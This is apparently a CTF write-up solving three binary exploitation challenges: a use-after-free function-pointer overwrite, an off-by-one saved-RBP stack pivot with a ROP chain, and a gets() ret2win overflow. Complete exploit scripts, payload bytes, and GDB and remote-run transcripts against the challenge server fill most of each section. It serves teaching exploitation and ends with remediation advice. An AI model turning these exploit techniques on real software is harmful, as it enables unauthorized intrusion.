↓ Skip to main content
  1. Writeups/

[CSSCTF] PWN / Binary Exploitation

·3917 words·19 mins
Table of Contents
CSSCTF 2026 - This article is part of a series.
Part : This Article

[CSSCTF] PWN / Binary Exploitation Challenges Writeup
#

Author: k0z1l
Category: Binary Exploitation (PWN)
Flag Format: CSSCTF{...}


1. Dockside Ticket Office
#

Flag: CSSCTF{us3_4ft3r_fr33_d0cks1d3}
Vulnerability: Use-After-Free (free without clearing the global pointer to NULL) $\rightarrow$ overwrite a function pointer in the freed struct $\rightarrow$ call open_gate() to print the flag.
Key Characteristics: No address leak required, no canary bypass needed, no complex tcache manipulation required: the binary is non-PIE, so all virtual addresses are constants.


1.1. TL;DR & Exploitation Summary
#

1
2
3
4
5
1. Create ticket      -> malloc(0x28); struct *t;  t->fn = deny_access
2. Cancel ticket      -> free(t)          <-- global t is NOT set to NULL => UAF
3. Edit ticket        -> read(0, t, 0x28) <-- overwrite freed memory (UAF write)
                         payload = b'A'*0x20 + p64(0x40125f)   # fn = open_gate
4. Use ticket         -> call *(t+0x20)   ==> open_gate()  prints "CSSCTF{...}"

Payload sent to Edit: exactly 0x28 = 40 bytes.

1
2
3
00000000: 4141 4141 4141 4141 4141 4141 4141 4141   A...............
00000010: 4141 4141 4141 4141 4141 4141 4141 4141   ................
00000020: 5f12 4000 0000 0000                        _.@.....   <-- 0x40125f

1.2. File Information & Security Mitigations
#

1
2
3
4
$ file dockside_ticket
dockside_ticket: ELF 64-bit LSB executable, x86-64, dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 3.2.0, not stripped
PropertyValueSecurity Implication
TypeEXECNo PIE $\rightarrow$ fixed code addresses (0x401150, 0x40125f…) $\rightarrow$ hardcodable, no leak required
NXGNU_STACK RWNX enabled $\rightarrow$ shellcode injection on the stack is not executable
RELROGNU_RELRO without BIND_NOWPartial RELRO $\rightarrow$ GOT is writable (not needed for this exploit)
CanaryOnly in main (mov rax, fs:0x28)Menu handlers lack stack canaries $\rightarrow$ irrelevant
Symbolsnot strippedSymbol names preserved (open_gate, deny_access, active_ticket) $\rightarrow$ rapid analysis
BuildGCC 13.3.0-6ubuntu2~24.04.1Ubuntu 24.04 $\Rightarrow$ glibc 2.39

Note on Canary: Although main contains a stack canary, the flaw is heap-based rather than stack-based, rendering the canary irrelevant.


1.3. Symbol Table (from readelf -sW)
#

AddressSymbol NameDescription / Role
0x401236deny_accessPrints “Ticket scanned.” + “Access denied…”
0x40125fopen_gatePrints “Ticket scanned.” + “Emergency harbour access granted.” + puts(flag)
0x401297print_bannerDisplays service banner
0x4012demenuPrints command menu
0x401357create_ticketCalls malloc(0x28) and initializes structure
0x4013c3cancel_ticketfree() call without clearing pointer (root cause)
0x401408edit_ticketread(0, ptr, 0x28) — arbitrary UAF write
0x401466use_ticketcall *(ptr+0x20) — indirect UAF execution
0x40149fmainMain interactive menu loop
0x404068active_ticketGlobal pointer holding ticket object reference
0x402088(rodata)Flag string "CSSCTF{us3_4ft3r_fr33_d0cks1d3}"

1.4. Reverse Engineering & Function Analysis
#

1.4.1. Structure ticket
#

create_ticket allocates malloc(0x28):

1
2
3
4
5
6
7
40137c:  mov  edi,0x28                 ; size = 40
401381:  call malloc@plt
401386:  mov  [rip+0x2cdb],rax         ; active_ticket = t
401394:  mov  DWORD PTR [rax],0x53455547    ; "GUES"
40139a:  mov  WORD  PTR [rax+0x4],0x54      ; "T\0"
4013a7:  lea  rdx,[rip-0x17a]               ; = 0x401236 (deny_access)
4013ae:  mov  QWORD PTR [rax+0x20],rdx      ; t->fn = deny_access

Reconstructed C structure layout:

1
2
3
4
5
6
7
struct ticket {                 /* malloc(0x28) -> chunk size 0x30, tcache bin 1 */
    char name[8];               /* +0x00  "GUEST\0\0\0"                          */
    /* 8 bytes uninitialized */ /* +0x08                                         */
    /* 16 bytes uninitialized*/ /* +0x10 .. +0x1f                                */
    void (*fn)(void);           /* +0x20  = &deny_access                         */
};                              /* +0x28 = total user data size                  */
struct ticket *active_ticket;   /* global pointer @ 0x404068                     */

Only two fields are initialized upon creation: +0x00 (name) and +0x20 (function pointer). The remaining intermediate bytes are uninitialized heap padding. However, because edit_ticket allows writing a full 40 bytes, all fields are fully controllable.

1.4.2. create_ticket (0x401357)
#

1
2
3
4
5
6
7
void create_ticket(void) {
    if (active_ticket) { puts("A ticket already exists."); return; }
    active_ticket = malloc(0x28);
    strcpy(active_ticket->name, "GUEST");
    active_ticket->fn = deny_access;           // 0x401236
    puts("Ticket created for GUEST.");
}
  • Key Takeaway: Only a single ticket may be allocated at any time. Because active_ticket is never reset to NULL, malloc is never invoked a second time $\Rightarrow$ double-free or tcache poisoning attacks cannot be triggered $\Rightarrow$ the exploitation path must leverage the dangling pointer directly.

1.4.3. cancel_ticket (0x4013c3) — The Vulnerability
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
4013cb:  mov rax,[rip+0x2c96]     ; rax = active_ticket
4013d2:  test rax,rax
4013d5:  jne 0x4013e8
4013d7:  lea rax,[rip+0xdae]      ; "No active ticket."
4013e1:  call puts@plt
4013e6:  jmp 0x401406
4013e8:  mov rax,[rip+0x2c79]     ; rax = active_ticket
4013ef:  mov rdi,rax
4013f2:  call free@plt            ; <-- FREE
4013f7:  lea rax,[rip+0xdae]      ; "Ticket cancelled."
401401:  call puts@plt
1
2
3
4
5
void cancel_ticket(void) {
    if (!active_ticket) { puts("No active ticket."); return; }
    free(active_ticket);                 // <-- active_ticket retains dangling address
    puts("Ticket cancelled.");           //     No active_ticket = NULL; assignment exists!
}
  • Classic Use-After-Free: After this function executes:
    • active_ticket points to a chunk that has been returned to the 0x30 tcache bin.
    • The first 8 bytes of user data become tcache->entries[1] (NULL when the bin is empty).

1.4.4. edit_ticket (0x401408)
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
401410:  mov  rax,[rip+0x2c51]     ; rax = active_ticket (dangling pointer)
401417:  test rax,rax
40141a:  jne  0x40142d
40141c:  ... "No active ticket."
40142d:  lea  rax,[rip+0xd8a]      ; "Enter new ticket data:"
401437:  call puts@plt
40143c:  mov  rax,[rip+0x2c25]     ; rax = active_ticket
401443:  mov  edx,0x28             ; len = 0x28
401448:  mov  rsi,rax              ; buf = active_ticket   <== WRITE TARGET
40144b:  mov  edi,0x0              ; fd = 0 (stdin)
401450:  call read@plt             ; read(0, active_ticket, 0x28)
401455:  ... "Ticket updated."
1
2
3
4
5
6
void edit_ticket(void) {
    if (!active_ticket) { puts("No active ticket."); return; }
    puts("Enter new ticket data:");
    read(0, active_ticket, 0x28);     // <-- UAF WRITE: writes into freed chunk
    puts("Ticket updated.");
}

Why 0x28 bytes is ideal:

  • User space spans offsets 0x00 .. 0x27; reaching +0x20 requires only 40 bytes $\Rightarrow$ no out-of-bounds overflow is required; the read call is entirely standard.
  • read does not append a terminating \0 and does not truncate on NUL bytes $\Rightarrow$ 64-bit addresses containing NUL bytes can be written intact—a capability not possible with fgets or scanf("%s").

1.4.5. use_ticket (0x401466) — Trigger
#

1
2
3
4
5
6
7
8
40146e:  mov  rax,[rip+0x2bf3]     ; rax = active_ticket (dangling pointer)
401475:  test rax,rax
401478:  jne  0x40148b
40147a:  ... "No active ticket."
40148b:  mov  rax,[rip+0x2bd6]     ; rax = active_ticket
401492:  mov  rdx,[rax+0x20]       ; rdx = t->fn      <== fetched from freed chunk
401496:  mov  eax,0x0
40149b:  call rdx                  ; <== INDIRECT FUNCTION CALL
1
2
3
4
void use_ticket(void) {
    if (!active_ticket) { puts("No active ticket."); return; }
    active_ticket->fn();            // Indirect function call via heap pointer
}
  • Primitive: A zero-argument function call to an arbitrary address supplied at offset +0x20.

1.4.6. Win Function: open_gate (0x40125f)
#

1
2
3
4
5
40125f <open_gate>:
  puts(0x402008)   ; "Ticket scanned."
  puts(0x402060)   ; "Emergency harbour access granted."
  puts(0x402088)   ; <-- FLAG STRING in .rodata
  ret

Conclusion: Overwriting the function pointer from deny_access (0x401236) with open_gate (0x40125f) completes the exploitation chain.


1.5. Use-After-Free Vulnerability Analysis
#

#Exploitation PrerequisitePresent in Target?
1Memory freed while reference remains usableYes (cancel_ticket fails to set active_ticket = NULL)
2Arbitrary write primitive into the freed chunkYes (edit_ticket performs read(0, ptr, 0x28))
3Freed memory holds high-impact control structuresYes (+0x20 contains a function pointer invoked by call)
4Predictable/known target addressYes (Non-PIE executable $\Rightarrow$ open_gate = 0x40125f is constant)
5Ability to write NUL bytes into memoryYes (Raw read(2) syscall does not truncate on NUL)

No information leaks (libc/heap), canary bypasses, ASLR workarounds, or ROP chains are required. The entire payload fits within 40 bytes.


1.6. Exploitation Primitive & Strategy
#

1
2
3
4
5
6
7
8
[+] Create  -> malloc(0x28)         active_ticket = 0x406xxx (heap after .bss)
                                    [0x00]="GUEST"  [0x20]=0x401236 (deny_access)
[+] Cancel  -> free(active_ticket)  chunk enters tcache 0x30, POINTER REMAINS (UAF)
[+] Edit    -> read(0, 0x406xxx, 0x28)
                payload: 32 * 'A' + p64(0x40125f)
[+] Use     -> call *(0x406xxx+0x20) == 0x40125f == open_gate
                                    ==> "Emergency harbour access granted."
                                        CSSCTF{us3_4ft3r_fr33_d0cks1d3}

1.7. Solution Methods & Exploit Scripts
#

1.7.1. Method 1: Python Exploit Script (Local & Remote)
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python3
# Dockside Ticket Office  --  use-after-free -> open_gate()
import os, sys, struct, select, subprocess, time

BIN       = os.path.join(os.path.dirname(os.path.abspath(__file__)), "dockside_ticket")
OPEN_GATE = 0x40125f                      # .text: puts("...granted."); puts(flag)
p64 = lambda x: struct.pack("<Q", x)
PAYLOAD = b"B" * 0x20 + p64(OPEN_GATE)    # exactly 0x28 bytes for read(0, ptr, 0x28)

class IO:
    def __init__(self, p):
        self.p = p
        os.set_blocking(p.stdout.fileno(), False)
        self.buf = b""
    def recv_until(self, needle, timeout=5.0):
        end = time.time() + timeout
        while needle not in self.buf and time.time() < end:
            r, _, _ = select.select([self.p.stdout], [], [], 0.2)
            if r:
                try: c = os.read(self.p.stdout.fileno(), 4096)
                except BlockingIOError: continue
                if not c: break
                self.buf += c
        i = self.buf.find(needle)
        if i >= 0:
            out, self.buf = self.buf[:i+len(needle)], self.buf[i+len(needle):]
        else:
            out, self.buf = self.buf, b""
        sys.stdout.write(out.decode(errors="replace")); sys.stdout.flush()
        return out
    def send(self, b):
        self.p.stdin.write(b); self.p.stdin.flush()

def main(host=None, port=None):
    if host:                                    # --- remote ---
        import socket
        s = socket.create_connection((host, port)); s.setblocking(False)
        class P:
            def __init__(s_): s_.stdin = s; s_.stdout = s
        io = IO(P())
    else:                                       # --- local ---
        p = subprocess.Popen([BIN], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
        io = IO(p)

    io.recv_until(b"> ")              # menu prompt
    io.send(b"1\n")                   # 1. create ticket
    io.recv_until(b"> ")
    io.send(b"2\n")                   # 2. cancel ticket -> free(), pointer dangles
    io.recv_until(b"> ")
    io.send(b"3\n")                   # 3. edit ticket
    io.recv_until(b"data:")           # await raw read(2)
    io.send(PAYLOAD)                  # overwrite fn @ +0x20 with open_gate
    io.recv_until(b"> ")
    io.send(b"4\n")                   # 4. use ticket -> call *(ptr+0x20) = open_gate()
    io.recv_until(b"granted.")
    io.recv_until(b"> ", timeout=2)
    io.send(b"5\n")

if __name__ == "__main__":
    host = sys.argv[1] if len(sys.argv) > 1 else None
    port = int(sys.argv[2]) if len(sys.argv) > 2 else None
    main(host, port)

1.7.2. Method 2: Bash One-Liner
#

1
2
3
4
5
6
7
8
9
{
  echo 1; sleep 0.2
  echo 2; sleep 0.2
  echo 3; sleep 0.2
  python3 -c "import sys,struct; sys.stdout.buffer.write(b'A'*0x20+struct.pack('<Q',0x40125f))"
  sleep 0.2
  echo 4; sleep 0.3
  echo 5
} | ./dockside_ticket

1.8. Technical Pitfall: Stdio Buffering vs. read(2) Syscall
#

  • main reads menu options using __isoc99_scanf("%d", &opt), which relies on glibc’s internal stdio buffering mechanism.
  • The subsequent getchar() also reads directly from that stream buffer.
  • In contrast, edit_ticket invokes read(2)—a raw kernel syscall bypassing the FILE* buffer entirely.

When the initial scanf executes, glibc reads an entire 4096-byte chunk from the pipe or socket into its user-space buffer. If all commands are streamed simultaneously into stdin:

Input Transmission MethodObserved Behavior
Streamed in a single batch, stdin pipe remains openThe read(2) syscall inside edit_ticket blocks indefinitely $\rightarrow$ exploit hangs
Streamed in a single batch, stdin closed immediately (EOF)read(2) returns 0 $\rightarrow$ payload is not written $\rightarrow$ menu reports Invalid input.
Interactive / Synchronized send after each promptExecution succeeds reliably

Operational Rule: Send menu selections sequentially after verifying each prompt (recv_until("> ")), and transmit the 40-byte binary payload only upon matching Enter new ticket data:.


1.9. Verification with GDB
#

1
2
3
4
5
6
7
8
9
Breakpoint 1, 0x000000000040148b in use_ticket ()
rax = 0x406020   (chunk user data)
0x406020: 0x4141414141414141  0x4141414141414141
0x406030: 0x4141414141414141  0x4141414141414141
0x406040: 0x000000000040125f  0x0000000000000301
Breakpoint 2, 0x000000000040149b in use_ticket ()
at call rdx: rdx = 0x40125f
0x000000000040125f in open_gate ()
after si: rip = 0x40125f  ==> open_gate

1.10. Summary & Flag
#

FieldDetail
VulnerabilityUse-After-Free (free fails to NULL global reference pointer)
Exploit Primitive0x28-byte write into freed chunk (UAF write) + indirect call via function pointer (UAF call)
Target Functionopen_gate (0x40125f)
FlagCSSCTF{us3_4ft3r_fr33_d0cks1d3}


2. Maintenance Log
#

Flag: CSSCTF{Duh_m4t3_1_4m_sl33py}
Server: nc 34.116.80.78 7312
Vulnerability: read(0, token, 0x21) writes into a 0x20-byte buffer $\rightarrow$ the 33rd byte overwrites the least significant byte (LSB) of the caller’s saved RBP $\rightarrow$ the caller’s leave instruction triggers a 1-byte stack pivot directly into the report buffer (whose memory address is leaked via printf("%p")).
Win Function: func_auth(0xdeadbeef, 0xcafebabe) @ 0x401268 $\rightarrow$ fopen("flag.txt") $\rightarrow$ outputs the flag.
Key Characteristics: No stack canary bypass needed (the win path calls exit() prior to canary validation); no PIE or libc leak needed (binary is non-PIE).


2.1. TL;DR & Exploitation Summary
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
0. Receive address leak: [*] Report buffer allocated at: 0x7fff.... -> buf
1. read#1 (0x50 bytes into buf): Place ROP chain directly inside buf
       buf+0x00: 0x00007ffc....      <- Fake RBP (writable memory address such as buf)
       buf+0x08: 0x000000000040124d  <- pop rdi ; ret
       buf+0x10: 0x00000000deadbeef  <- rdi argument
       buf+0x18: 0x000000000040124f  <- pop rsi ; ret
       buf+0x20: 0x00000000cafebabe  <- rsi argument
       buf+0x28: 0x0000000000401268  <- func_auth -> print flag
2. read#2 (0x21 bytes into token 0x20): 32 bytes padding + 1 byte = (pivot & 0xff)
3. func_tag.leave; ret -> Normal function return (return address untouched)
4. func_report.leave   -> rsp = (rbp_report & ~0xff) | pivot_byte = buf ==> STACK PIVOT
5. pop rbp; ret        -> Executes ROP chain -> func_auth(0xdeadbeef, 0xcafebabe)
6. Access Granted! Here is your flag: CSSCTF{...}

Sample payload structure:

1
2
3
4
5
6
7
8
00000000: 20e1 ffff ff7f 0000 4d12 4000 0000 0000   .......M.@.....   <- buf (fake rbp)
00000010: efbe adde 0000 0000 4f12 4000 0000 0000   ........O.@.....   <- pop rdi / 0xdeadbeef
00000020: beba feca 0000 0000 6812 4000 0000 0000   ........h.@.....   <- pop rsi / 0xcafebabe / func_auth
00000030: 4141 4141 4141 4141 4141 4141 4141 4141   AAAAAAA...         <- padding to 0x50
00000040: 4141 4141 4141 4141 4141 4141 4141 4141   AAAAAAA...
00000050: 4242 4242 4242 4242 4242 4242 4242 4242   BBBBBBB...         <- read#2: token[0x20]
00000060: 4242 4242 4242 4242 4242 4242 4242 4242   BBBBBBB...
00000070: 20                                        .                  <- 33rd byte = 0x20 (pivot & 0xff)

2.2. File Information & Security Mitigations
#

1
2
3
4
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
       dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
       BuildID[sha1]=5dc6c7d1..., for GNU/Linux 3.2.0, stripped
PropertyValueSecurity Implication
TypeEXECNon-PIE $\rightarrow$ addresses 0x401268, 0x40124d, 0x40124f… are static constants
NXGNU_STACK RWNX enabled $\rightarrow$ executable shellcode cannot be placed on the stack
RELROGNU_RELRO, no BIND_NOWPartial RELRO (GOT is writable)
CanaryPresentPresent in main and func_auth. func_report and func_tag have no canary
SymbolsstrippedSymbol table removed; functions identified through disassembly

2.3. Function Map & String Analysis
#

AddressIdentified NameDescription / Role
0x4011b6setup_bufferssetvbuf(stdin/stdout/stderr, NULL, _IONBF, 0)
0x40139afunc_reportPrints buffer leak, memset(buf,0,0x50), read(0, buf, 0x50), calls func_tag
0x401348func_tagmemset(token,0,0x20), sets len = 0x21, executes read(0, token, 0x21) $\rightarrow$ 1-byte overflow
0x401268func_authValidates if (edi==0xdeadbeef && esi==0xcafebabe) $\rightarrow$ opens and prints flag.txt
0x401419mainInvokes setup_buffers, displays banner, calls func_report, prints “Log finalized.”

2.4. Annotated Disassembly
#

2.4.1. func_report @ 0x40139a (Address Leak Source)
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
40139a: push rbp
40139b: mov  rbp,rsp
40139e: sub  rsp,0x50                   ; buf = rbp-0x50 (NO stack canary)
4013b8: lea  rax,[rbp-0x50]
4013bc: mov  rsi,rax
4013c9: call printf                     ; printf("[*] Report buffer allocated at: %p\n", buf)
4013eb: mov  edx,0x50
4013f8: call read                       ; read(0, buf, 0x50) (80 bytes)
401402: call 0x401348                   ; func_tag()
401417: leave
401418: ret                             ; <== Stack pivot executed here

2.4.2. func_tag @ 0x401348 (1-Byte Off-by-One Overflow)
#

1
2
3
4
5
6
7
8
401348: push rbp
401349: mov  rbp,rsp
40134c: sub  rsp,0x30
401350: lea  rax,[rbp-0x20]             ; token = rbp-0x20 (32-byte buffer)
40137a: mov  QWORD PTR [rbp-0x28],0x21  ; len = 0x21 = 33 (buffer is only 32 bytes)
401382: mov  rdx,[rbp-0x28]
401392: call read                       ; read(0, token, 33) => byte 33 overwrites saved RBP LSB!
401398: leave ; ret

2.4.3. func_auth @ 0x401268 (Win Target)
#

1
2
3
4
5
6
401285: cmp DWORD PTR [rbp-0x64],0xdeadbeef ; Validate argument 1 (rdi)
401292: cmp DWORD PTR [rbp-0x68],0xcafebabe ; Validate argument 2 (rsi)
4012c2: call fopen                      ; fopen("flag.txt", "r")
4012fb: call fgets                      ; Read flag into buffer
401307: call puts                       ; Print flag to stdout
40131d: call exit                       ; exit(0) - stack canary check bypassed!

2.5. Stack Layout Analysis & Memory Offsets
#

Variable / PointerCalculation / Relative Offset
bufLeaked directly via printf
rbp_reportbuf + 0x50
rbp_tagrbp_report - 0x60
tokenrbp_report - 0x80 (32 bytes)
Byte 33 of read#2Overwrites the least significant byte of rbp_report

2.6. The leave Instruction & 1-Byte Stack Pivot Technique
#

When func_report executes its epilogue leave:

1
2
3
mov rsp, rbp      ; rsp = (rbp_report & ~0xff) | our_byte   <== STACK PIVOT
pop rbp           ; rbp = [rsp], rsp += 8
ret               ; rip = [rsp] (Executes pivoted ROP chain)

By computing pivot = max(buf, block_base), the ROP chain is placed at the exact corresponding offset inside buf.


2.7. Finding ROP Gadgets
#

Two standard gadgets were identified in .text:

  • 0x40124d: pop rdi ; ret $\rightarrow$ populates 0xdeadbeef
  • 0x40124f: pop rsi ; ret $\rightarrow$ populates 0xcafebabe

2.8. Technical Pitfall: Why Mid-Function Jumping to win Fails
#

Attempting to jump directly to 0x40129f (bypassing the deadbeef and cafebabe checks):

  • Skips the crucial instruction mov QWORD PTR [rbp-0x58], rax (which stores the opened FILE* pointer).
  • As a consequence, fgets attempts to read using an uninitialized pointer from [rbp-0x58] $\rightarrow$ immediate SIGSEGV crash.
  • Lesson: Execution must start at the entry point of func_auth (0x401268), properly configuring registers rdi and rsi.

2.9. Complete Exploit Script (Local & Remote)
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
# CSSCTF "Maintenance Log" Exploit
import os, sys, struct, socket

POP_RDI = 0x40124d
POP_RSI = 0x40124f
AUTH    = 0x401268
BUF_OFF = 0x50
CHAIN_LEN = 48
HOST, PORT = "34.116.80.78", 7312

def build(buf):
    rbp_report = buf + BUF_OFF
    pivot = max(buf, rbp_report & ~0xff)
    if buf + BUF_OFF - pivot < CHAIN_LEN:
        return None
    chain  = struct.pack("<Q", buf)           # Fake RBP
    chain += struct.pack("<Q", POP_RDI)
    chain += struct.pack("<Q", 0xdeadbeef)
    chain += struct.pack("<Q", POP_RSI)
    chain += struct.pack("<Q", 0xcafebabe)
    chain += struct.pack("<Q", AUTH)
    p1 = bytearray(b"A" * BUF_OFF)
    p1[pivot - buf:pivot - buf + CHAIN_LEN] = chain
    p2 = b"B" * 0x20 + bytes([pivot & 0xff])
    return bytes(p1), p2, pivot

def main():
    while True:
        s = socket.create_connection((HOST, PORT))
        data = s.recv(1024).decode()
        addr_str = data.split("allocated at: ")[1].split("\n")[0]
        buf = int(addr_str, 16)
        res = build(buf)
        if not res:
            s.close()
            continue
        p1, p2, pivot = res
        s.sendall(p1)
        s.sendall(p2)
        resp = s.recv(4096).decode(errors="replace")
        print(resp)
        s.close()
        break

if __name__ == "__main__":
    main()

2.10. Verification with GDB & Execution Transcript
#

1
2
3
4
5
6
7
8
9
Breakpoint 2, 0x0000000000401417 in ?? ()
0x7fffffffe120:	0x00007fffffffe120	0x000000000040124d
0x7fffffffe130:	0x00000000deadbeef	0x000000000040124f
0x7fffffffe140:	0x00000000cafebabe	0x0000000000401268

[3] after leave: rsp=0x7fffffffe128  rbp(new)=0x7fffffffe120
[4] after ret : rip=0x40124d  (pop rdi;ret)
[+] Access Granted! Here is your flag:
CSSCTF{Duh_m4t3_1_4m_sl33py}

2.11. Summary & Flag
#

PropertyDetail
VulnerabilityOff-by-one single-byte overwrite on caller’s saved RBP LSB
Information LeakStack memory address leaked via printf("%p")
Exploitation Technique1-byte stack pivot via leave + two-argument ROP invocation
FlagCSSCTF{Duh_m4t3_1_4m_sl33py}


3. Kuiper Belt Relay Core
#

Flag: CSSCTF{s1gn4l_r3c0v3r3d_fr0m_th3_v01d}
Server: nc 34.116.80.78 9998 · Provided file: echo.c
Vulnerability: Classic Stack Buffer Overflow via the unsafe gets(buffer) function.
Win Mechanism: Redirect execution flow (ret2win) directly to the unreferenced win() function @ 0x401216.


3.1. Challenge Description & Provided Assets
#

Description:
The Relay rebooted an old diagnostic process — it just echoes back whatever you send it. Simple by design.
But it’s still carrying dead code from before the blackout: a function that’s never called, sitting untouched in memory. Redirect the program into it.

Provided File: echo.c
Remote Connection: nc 34.116.80.78 9998
Flag Format: CSSCTF{...}


3.2. Source Code & Vulnerability Analysis
#

The provided C source file (echo.c):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void win() {
    printf("\nYou hijacked the return address!\n");
    printf("Here's your flag:\n");
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        printf("Error: flag.txt not found on server.\n");
        exit(1);
    }
    char flag[128];
    if (fgets(flag, sizeof(flag), f)) {
        printf("%s\n", flag);
    }
    fclose(f);
    exit(0);
}

void vuln() {
    char buffer[64];
    printf("This program is a simple echo service.\n");
    printf("Enter your message: ");
    gets(buffer);  // VULNERABLE: no bounds checking!
    printf("You said: %s\n", buffer);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    printf("Goodbye!\n");
    return 0;
}
  1. Dead Code: win():

    • Reads flag.txt and outputs the flag content to stdout.
    • Never called during standard execution flow.
  2. Buffer Overflow in vuln():

    • Allocates a stack array: char buffer[64]; (64 bytes).
    • gets(buffer) performs no boundary checking, reading arbitrary input until encountering \n or EOF.
    • Sending more than 64 bytes overflows buffer, corrupting Saved RBP and the Return Address.

3.3. Stack Memory Layout & Ret2win Technique
#

The x86_64 stack frame layout for vuln():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Low Memory
┌──────────────────────────────────────────┐  <-- $rsp (Top of Stack)
│  buffer[0..63]                           │
│  (Input storage buffer: 64 bytes)        │
├──────────────────────────────────────────┤  <-- $rbp (Frame Pointer)
│  Saved RBP                               │
│  (Caller base pointer: 8 bytes)          │
├──────────────────────────────────────────┤  <-- $rbp + 0x8
│  Saved RIP / Return Address              │
│  (Return target after vuln() epilogue)   │
└──────────────────────────────────────────┘
High Memory
  • Offset from buffer start to Return Address = 64 + 8 = 72 bytes.
  • Overwriting the Return Address with the address of win() diverts CPU control to win() immediately upon executing ret.

3.4. Target Discovery Method
#

Only echo.c was provided without a compiled binary.

  • With PIE disabled, binary code resides within standard addresses 0x401000 - 0x402000.
  • Because win() is the first defined function in the file, it sits near the base of the user code segment.
  • An automated scan across 16-byte aligned addresses in range 0x401100 - 0x401250 was executed:
    • Address 0x401216 successfully responded with the hijacked return notice and printed the flag.

3.5. Complete Exploit Code (Python / Pwntools)
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
"""
Challenge: Kuiper Belt Relay Core (PWN)
Exploit Technique: ret2win (Buffer Overflow via gets)
Architecture: Linux x86_64
"""

from pwn import *

HOST = "34.116.80.78"
PORT = 9998
OFFSET = 72            # 64 bytes buffer + 8 bytes saved RBP
WIN_ADDR = 0x401216    # Address of win() on target server

def solve():
    log.info(f"Connecting to {HOST}:{PORT}...")
    r = remote(HOST, PORT)

    r.recvuntil(b"Enter your message: ")

    payload = b"A" * OFFSET + p64(WIN_ADDR)
    
    log.info(f"Sending payload ({len(payload)} bytes) -> win() @ {hex(WIN_ADDR)}")
    r.sendline(payload)

    response = r.recvall(timeout=3).decode(errors="replace")
    log.success("Response received from target:")
    print(response)

if __name__ == "__main__":
    solve()

3.6. Execution Results & Flag
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[+] Opening connection to 34.116.80.78 on port 9998: Done
[*] Sending payload (80 bytes) -> win() @ 0x401216
[+] Receiving all data: Done (178B)
[*] Closed connection to 34.116.80.78 port 9998
[+] Response received from target:
 You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  @

You hijacked the return address!
Here's your flag:
CSSCTF{s1gn4l_r3c0v3r3d_fr0m_th3_v01d}

Official Flag:

1
CSSCTF{s1gn4l_r3c0v3r3d_fr0m_th3_v01d}

3.7. Remediation
#

  1. Replace gets(): Implement bounded input routines like fgets(buffer, sizeof(buffer), stdin).
  2. Enable Stack Canaries: Compile with -fstack-protector-all to detect return address corruption.
  3. Enable PIE & ASLR: Compile using -fPIE -pie to randomize code offsets.
  4. Prune Dead Code: Apply compiler dead code elimination with -O2 and -Wl,--gc-sections.
CSSCTF 2026 - This article is part of a series.
Part : This Article